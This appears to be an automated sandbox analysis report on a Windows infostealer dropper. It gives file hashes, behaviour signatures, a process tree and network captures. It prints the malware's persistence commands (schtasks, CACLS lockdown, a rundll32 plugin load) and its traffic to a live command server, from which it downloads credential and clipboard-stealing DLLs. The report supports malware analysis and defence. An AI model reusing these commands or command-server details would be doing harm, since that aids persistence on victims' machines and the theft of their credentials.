Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/04/2023, 04:32 UTC

General

  • Target

    4119d812dd41b04295a5f189a62ebe9b342e6773c35150bf161dc58453f08b48.exe

  • Size

    828KB

  • MD5

    edf036fc0d261ad2d63612b5b772e60c

  • SHA1

    e34178b06a62f3dcb6eac1f33a9261bea90f04a3

  • SHA256

    4119d812dd41b04295a5f189a62ebe9b342e6773c35150bf161dc58453f08b48

  • SHA512

    f5ed08864dd2267085023753f4683b72b9d2d29132a30cd2507de0864be1e78718c3db61bd2cf757b6e7ae6d28c2a73a2f271f72c7bb57775322075a10bf040a

  • SSDEEP

    12288:Fy90N4KlDqZo5TKi1/LCs0tp77MT9GAu/NW76LVAOkIfzhapL9o8roQ2D:FyI4Mq3iNpw77Hr/NW76pAAhVN

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 29 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4119d812dd41b04295a5f189a62ebe9b342e6773c35150bf161dc58453f08b48.exe
    "C:\Users\Admin\AppData\Local\Temp\4119d812dd41b04295a5f189a62ebe9b342e6773c35150bf161dc58453f08b48.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ziLY9498.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ziLY9498.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zitz5404.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zitz5404.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:3752
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\it041996.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\it041996.exe
          4⤵
          • Modifies Windows Defender Real-time Protection settings
          • Executes dropped EXE
          • Windows security modification
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4912
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\jr103524.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\jr103524.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2144
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kp436608.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kp436608.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lr160651.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lr160651.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 696
        3⤵
        • Program crash
        PID:4904
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 780
        3⤵
        • Program crash
        PID:3272
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 860
        3⤵
        • Program crash
        PID:3928
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 868
        3⤵
        • Program crash
        PID:2148
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 976
        3⤵
        • Program crash
        PID:1428
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 868
        3⤵
        • Program crash
        PID:3800
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 1220
        3⤵
        • Program crash
        PID:2652
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 1220
        3⤵
        • Program crash
        PID:1644
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 1320
        3⤵
        • Program crash
        PID:980
      • C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe
        "C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 692
          4⤵
          • Program crash
          PID:4084
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 844
          4⤵
          • Program crash
          PID:4220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 868
          4⤵
          • Program crash
          PID:1260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1052
          4⤵
          • Program crash
          PID:4856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1072
          4⤵
          • Program crash
          PID:4024
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1072
          4⤵
          • Program crash
          PID:4272
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1096
          4⤵
          • Program crash
          PID:2264
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
          4⤵
          • Creates scheduled task(s)
          PID:4980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 916
          4⤵
          • Program crash
          PID:4760
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 768
          4⤵
          • Program crash
          PID:2272
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\cb7ae701b3" /P "Admin:N"&&CACLS "..\cb7ae701b3" /P "Admin:R" /E&&Exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1812
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            5⤵
              PID:2464
            • C:\Windows\SysWOW64\cacls.exe
              CACLS "oneetx.exe" /P "Admin:N"
              5⤵
                PID:952
              • C:\Windows\SysWOW64\cacls.exe
                CACLS "oneetx.exe" /P "Admin:R" /E
                5⤵
                  PID:2236
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  5⤵
                    PID:1448
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "..\cb7ae701b3" /P "Admin:N"
                    5⤵
                      PID:2020
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "..\cb7ae701b3" /P "Admin:R" /E
                      5⤵
                        PID:1760
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1300
                      4⤵
                      • Program crash
                      PID:4204
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1272
                      4⤵
                      • Program crash
                      PID:3128
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 780
                      4⤵
                      • Program crash
                      PID:3864
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1268
                      4⤵
                      • Program crash
                      PID:4812
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1104
                      4⤵
                      • Program crash
                      PID:1428
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1600
                      4⤵
                      • Program crash
                      PID:1644
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
                      4⤵
                      • Loads dropped DLL
                      PID:3356
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1616
                      4⤵
                      • Program crash
                      PID:1800
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 1632
                      4⤵
                      • Program crash
                      PID:4192
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3216 -s 748
                    3⤵
                    • Program crash
                    PID:3640
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3216 -ip 3216
                1⤵
                  PID:1976
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3216 -ip 3216
                  1⤵
                    PID:3708
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3216 -ip 3216
                    1⤵
                      PID:5084
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3216 -ip 3216
                      1⤵
                        PID:4600
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3216 -ip 3216
                        1⤵
                          PID:2356
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3216 -ip 3216
                          1⤵
                            PID:2664
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3216 -ip 3216
                            1⤵
                              PID:3080
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3216 -ip 3216
                              1⤵
                                PID:4976
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3216 -ip 3216
                                1⤵
                                  PID:3204
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3216 -ip 3216
                                  1⤵
                                    PID:1456
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3916 -ip 3916
                                    1⤵
                                      PID:1504
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3916 -ip 3916
                                      1⤵
                                        PID:2992
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3916 -ip 3916
                                        1⤵
                                          PID:3932
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3916 -ip 3916
                                          1⤵
                                            PID:1460
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3916 -ip 3916
                                            1⤵
                                              PID:3748
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3916 -ip 3916
                                              1⤵
                                                PID:1992
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3916 -ip 3916
                                                1⤵
                                                  PID:3944
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3916 -ip 3916
                                                  1⤵
                                                    PID:3064
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3916 -ip 3916
                                                    1⤵
                                                      PID:4960
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3916 -ip 3916
                                                      1⤵
                                                        PID:5112
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3916 -ip 3916
                                                        1⤵
                                                          PID:5104
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3916 -ip 3916
                                                          1⤵
                                                            PID:1104
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3916 -ip 3916
                                                            1⤵
                                                              PID:4372
                                                            • C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe
                                                              C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe
                                                              1⤵
                                                              • Executes dropped EXE
                                                              PID:4872
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 316
                                                                2⤵
                                                                • Program crash
                                                                PID:2352
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 4872 -ip 4872
                                                              1⤵
                                                                PID:4632
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 3916 -ip 3916
                                                                1⤵
                                                                  PID:2640
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3916 -ip 3916
                                                                  1⤵
                                                                    PID:760
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 3916 -ip 3916
                                                                    1⤵
                                                                      PID:5028
                                                                    • C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe
                                                                      1⤵
                                                                      • Executes dropped EXE
                                                                      PID:3236
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3236 -s 312
                                                                        2⤵
                                                                        • Program crash
                                                                        PID:4764
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3236 -ip 3236
                                                                      1⤵
                                                                        PID:4616
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3916 -ip 3916
                                                                        1⤵
                                                                          PID:452

                                                                        Network

                                                                        • flag-us
                                                                          DNS
                                                                          241.150.49.20.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          241.150.49.20.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • flag-us
                                                                          DNS
                                                                          95.221.229.192.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          95.221.229.192.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • flag-us
                                                                          DNS
                                                                          152.248.161.185.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          152.248.161.185.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • flag-us
                                                                          DNS
                                                                          149.220.183.52.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          149.220.183.52.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • flag-ru
                                                                          POST
                                                                          http://193.201.9.240/live/games/index.php
                                                                          oneetx.exe
                                                                          Remote address:
                                                                          193.201.9.240:80
                                                                          Request
                                                                          POST /live/games/index.php HTTP/1.1
                                                                          Content-Type: application/x-www-form-urlencoded
                                                                          Host: 193.201.9.240
                                                                          Content-Length: 89
                                                                          Cache-Control: no-cache
                                                                          Response
                                                                          HTTP/1.1 200 OK
                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                          Date: Thu, 20 Apr 2023 04:33:47 GMT
                                                                          Content-Type: text/html; charset=UTF-8
                                                                          Transfer-Encoding: chunked
                                                                          Connection: keep-alive
                                                                        • flag-ru
                                                                          GET
                                                                          http://193.201.9.240/live/games/Plugins/cred64.dll
                                                                          oneetx.exe
                                                                          Remote address:
                                                                          193.201.9.240:80
                                                                          Request
                                                                          GET /live/games/Plugins/cred64.dll HTTP/1.1
                                                                          Host: 193.201.9.240
                                                                          Response
                                                                          HTTP/1.1 404 Not Found
                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                          Date: Thu, 20 Apr 2023 04:34:36 GMT
                                                                          Content-Type: text/html
                                                                          Content-Length: 162
                                                                          Connection: keep-alive
                                                                        • flag-ru
                                                                          GET
                                                                          http://193.201.9.240/live/games/Plugins/clip64.dll
                                                                          oneetx.exe
                                                                          Remote address:
                                                                          193.201.9.240:80
                                                                          Request
                                                                          GET /live/games/Plugins/clip64.dll HTTP/1.1
                                                                          Host: 193.201.9.240
                                                                          Response
                                                                          HTTP/1.1 200 OK
                                                                          Server: nginx/1.18.0 (Ubuntu)
                                                                          Date: Thu, 20 Apr 2023 04:34:36 GMT
                                                                          Content-Type: application/octet-stream
                                                                          Content-Length: 91136
                                                                          Last-Modified: Tue, 18 Apr 2023 13:25:00 GMT
                                                                          Connection: keep-alive
                                                                          ETag: "643e9a2c-16400"
                                                                          Accept-Ranges: bytes
                                                                        • flag-us
                                                                          DNS
                                                                          240.9.201.193.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          240.9.201.193.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • flag-us
                                                                          DNS
                                                                          1.77.109.52.in-addr.arpa
                                                                          Remote address:
                                                                          8.8.8.8:53
                                                                          Request
                                                                          1.77.109.52.in-addr.arpa
                                                                          IN PTR
                                                                          Response
                                                                        • 185.161.248.152:38452
                                                                          jr103524.exe
                                                                          5.7kB
                                                                          7.7kB
                                                                          13
                                                                          12
                                                                        • 51.105.71.137:443
                                                                          322 B
                                                                          7
                                                                        • 185.161.248.152:38452
                                                                          kp436608.exe
                                                                          5.7kB
                                                                          7.7kB
                                                                          15
                                                                          12
                                                                        • 193.201.9.240:80
                                                                          http://193.201.9.240/live/games/Plugins/clip64.dll
                                                                          http
                                                                          oneetx.exe
                                                                          3.8kB
                                                                          94.9kB
                                                                          75
                                                                          74

                                                                          HTTP Request

                                                                          POST http://193.201.9.240/live/games/index.php

                                                                          HTTP Response

                                                                          200

                                                                          HTTP Request

                                                                          GET http://193.201.9.240/live/games/Plugins/cred64.dll

                                                                          HTTP Response

                                                                          404

                                                                          HTTP Request

                                                                          GET http://193.201.9.240/live/games/Plugins/clip64.dll

                                                                          HTTP Response

                                                                          200
                                                                        • 209.197.3.8:80
                                                                          322 B
                                                                          7
                                                                        • 8.8.8.8:53
                                                                          241.150.49.20.in-addr.arpa
                                                                          dns
                                                                          72 B
                                                                          158 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          241.150.49.20.in-addr.arpa

                                                                        • 8.8.8.8:53
                                                                          95.221.229.192.in-addr.arpa
                                                                          dns
                                                                          73 B
                                                                          144 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          95.221.229.192.in-addr.arpa

                                                                        • 8.8.8.8:53
                                                                          152.248.161.185.in-addr.arpa
                                                                          dns
                                                                          74 B
                                                                          134 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          152.248.161.185.in-addr.arpa

                                                                        • 8.8.8.8:53
                                                                          149.220.183.52.in-addr.arpa
                                                                          dns
                                                                          73 B
                                                                          147 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          149.220.183.52.in-addr.arpa

                                                                        • 8.8.8.8:53
                                                                          240.9.201.193.in-addr.arpa
                                                                          dns
                                                                          72 B
                                                                          132 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          240.9.201.193.in-addr.arpa

                                                                        • 8.8.8.8:53
                                                                          1.77.109.52.in-addr.arpa
                                                                          dns
                                                                          70 B
                                                                          144 B
                                                                          1
                                                                          1

                                                                          DNS Request

                                                                          1.77.109.52.in-addr.arpa

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lr160651.exe

                                                                          Filesize

                                                                          256KB

                                                                          MD5

                                                                          5ea1ae42fb089d61cf4fab7109c6d08d

                                                                          SHA1

                                                                          97b363fd54d21660a18224a409f8df550721331f

                                                                          SHA256

                                                                          63415fac08f52a17436a61719efd8f0a2691ea5bc31b47e397c6ae33cb02f90b

                                                                          SHA512

                                                                          f47052a1c11a47c45451fa10ab0e597995a80daf428e0fd810adc761c5002ae239f6c87baab8e2e63340c16886b36dea76bfb4346c53062124a425a1d5f0d984

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\lr160651.exe

                                                                          Filesize

                                                                          256KB

                                                                          MD5

                                                                          5ea1ae42fb089d61cf4fab7109c6d08d

                                                                          SHA1

                                                                          97b363fd54d21660a18224a409f8df550721331f

                                                                          SHA256

                                                                          63415fac08f52a17436a61719efd8f0a2691ea5bc31b47e397c6ae33cb02f90b

                                                                          SHA512

                                                                          f47052a1c11a47c45451fa10ab0e597995a80daf428e0fd810adc761c5002ae239f6c87baab8e2e63340c16886b36dea76bfb4346c53062124a425a1d5f0d984

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ziLY9498.exe

                                                                          Filesize

                                                                          569KB

                                                                          MD5

                                                                          39343e873a947b797062dad4177bdb4f

                                                                          SHA1

                                                                          443079ab9ffdff46d692cad038b71ed198c5262f

                                                                          SHA256

                                                                          18b1c25025bab6ea96dc4710efef05d86554a51bd10c0915e557970878c2d230

                                                                          SHA512

                                                                          1cf20cf40392b2fac7aa0f9439ace2d6e639826a5732d154c2a7bd0551340ddf869dc15aed0a4955360d21993b38d3a9128ffd5e8cb49ee9d01f7bbcdbfc200e

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ziLY9498.exe

                                                                          Filesize

                                                                          569KB

                                                                          MD5

                                                                          39343e873a947b797062dad4177bdb4f

                                                                          SHA1

                                                                          443079ab9ffdff46d692cad038b71ed198c5262f

                                                                          SHA256

                                                                          18b1c25025bab6ea96dc4710efef05d86554a51bd10c0915e557970878c2d230

                                                                          SHA512

                                                                          1cf20cf40392b2fac7aa0f9439ace2d6e639826a5732d154c2a7bd0551340ddf869dc15aed0a4955360d21993b38d3a9128ffd5e8cb49ee9d01f7bbcdbfc200e

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kp436608.exe

                                                                          Filesize

                                                                          136KB

                                                                          MD5

                                                                          86810f340795831f3c2bd147981be929

                                                                          SHA1

                                                                          573345e2c322720fa43f74d761ff1d48028f36c9

                                                                          SHA256

                                                                          d122c80c89eb529d8edb82af16a9ffd8bb187f391758fe80ac2e25db159a9139

                                                                          SHA512

                                                                          c50b8b6a424fc20c6a3009560cffc277c8dd99792c97f72bfb57d924efdc07341e87a96cb2556e90955fbab6bd59df2a8fc23f89866096658dc7530499becd9f

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\kp436608.exe

                                                                          Filesize

                                                                          136KB

                                                                          MD5

                                                                          86810f340795831f3c2bd147981be929

                                                                          SHA1

                                                                          573345e2c322720fa43f74d761ff1d48028f36c9

                                                                          SHA256

                                                                          d122c80c89eb529d8edb82af16a9ffd8bb187f391758fe80ac2e25db159a9139

                                                                          SHA512

                                                                          c50b8b6a424fc20c6a3009560cffc277c8dd99792c97f72bfb57d924efdc07341e87a96cb2556e90955fbab6bd59df2a8fc23f89866096658dc7530499becd9f

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zitz5404.exe

                                                                          Filesize

                                                                          415KB

                                                                          MD5

                                                                          83d9014c815e961e678efbd4815652b6

                                                                          SHA1

                                                                          1fedd10b5f45c5cb61fcf3d9b7d7bb884557628d

                                                                          SHA256

                                                                          d665f72df650aaae52498f4a7d9045ad6ece0c960d00a2330394ce57bf01e804

                                                                          SHA512

                                                                          bd46bfc9324d6bfb17ce96b500704d88e4f3a868377c584e79163d1186500b8d3db2aba77093f230af7d7b300f67803b56959bbd7ceff8ab762d3f4468d1bc8b

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zitz5404.exe

                                                                          Filesize

                                                                          415KB

                                                                          MD5

                                                                          83d9014c815e961e678efbd4815652b6

                                                                          SHA1

                                                                          1fedd10b5f45c5cb61fcf3d9b7d7bb884557628d

                                                                          SHA256

                                                                          d665f72df650aaae52498f4a7d9045ad6ece0c960d00a2330394ce57bf01e804

                                                                          SHA512

                                                                          bd46bfc9324d6bfb17ce96b500704d88e4f3a868377c584e79163d1186500b8d3db2aba77093f230af7d7b300f67803b56959bbd7ceff8ab762d3f4468d1bc8b

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\it041996.exe

                                                                          Filesize

                                                                          11KB

                                                                          MD5

                                                                          7e93bacbbc33e6652e147e7fe07572a0

                                                                          SHA1

                                                                          421a7167da01c8da4dc4d5234ca3dd84e319e762

                                                                          SHA256

                                                                          850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                                                                          SHA512

                                                                          250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\it041996.exe

                                                                          Filesize

                                                                          11KB

                                                                          MD5

                                                                          7e93bacbbc33e6652e147e7fe07572a0

                                                                          SHA1

                                                                          421a7167da01c8da4dc4d5234ca3dd84e319e762

                                                                          SHA256

                                                                          850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                                                                          SHA512

                                                                          250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\jr103524.exe

                                                                          Filesize

                                                                          360KB

                                                                          MD5

                                                                          2ccdfaaa7e56ecdb3a2467724012f1f9

                                                                          SHA1

                                                                          9bf0c24bfc2ca6987865a5c433fd41675ba4879f

                                                                          SHA256

                                                                          2e33fe6904ef7d6acb967135baf156382c53d02710663fa9b02586f59bd927a4

                                                                          SHA512

                                                                          2e9659cceae6d04d838e94cdff2898a14ca1f3289a19cd9d59ee68634fe009c2a861dd85b9009183e654dbdfca9a3f6bdd9dedbd84d808dae1a00bf09040e601

                                                                        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\jr103524.exe

                                                                          Filesize

                                                                          360KB

                                                                          MD5

                                                                          2ccdfaaa7e56ecdb3a2467724012f1f9

                                                                          SHA1

                                                                          9bf0c24bfc2ca6987865a5c433fd41675ba4879f

                                                                          SHA256

                                                                          2e33fe6904ef7d6acb967135baf156382c53d02710663fa9b02586f59bd927a4

                                                                          SHA512

                                                                          2e9659cceae6d04d838e94cdff2898a14ca1f3289a19cd9d59ee68634fe009c2a861dd85b9009183e654dbdfca9a3f6bdd9dedbd84d808dae1a00bf09040e601

                                                                        • C:\Users\Admin\AppData\Local\Temp\cb7ae701b3\oneetx.exe

                                                                          Filesize

                                                                          256KB

                                                                          MD5

                                                                          5ea1ae42fb089d61cf4fab7109c6d08d

                                                                          SHA1

                                                                          97b363fd54d21660a18224a409f8df550721331f

                                                                          SHA256

                                                                          63415fac08f52a17436a61719efd8f0a2691ea5bc31b47e397c6ae33cb02f90b

                                                                          SHA512

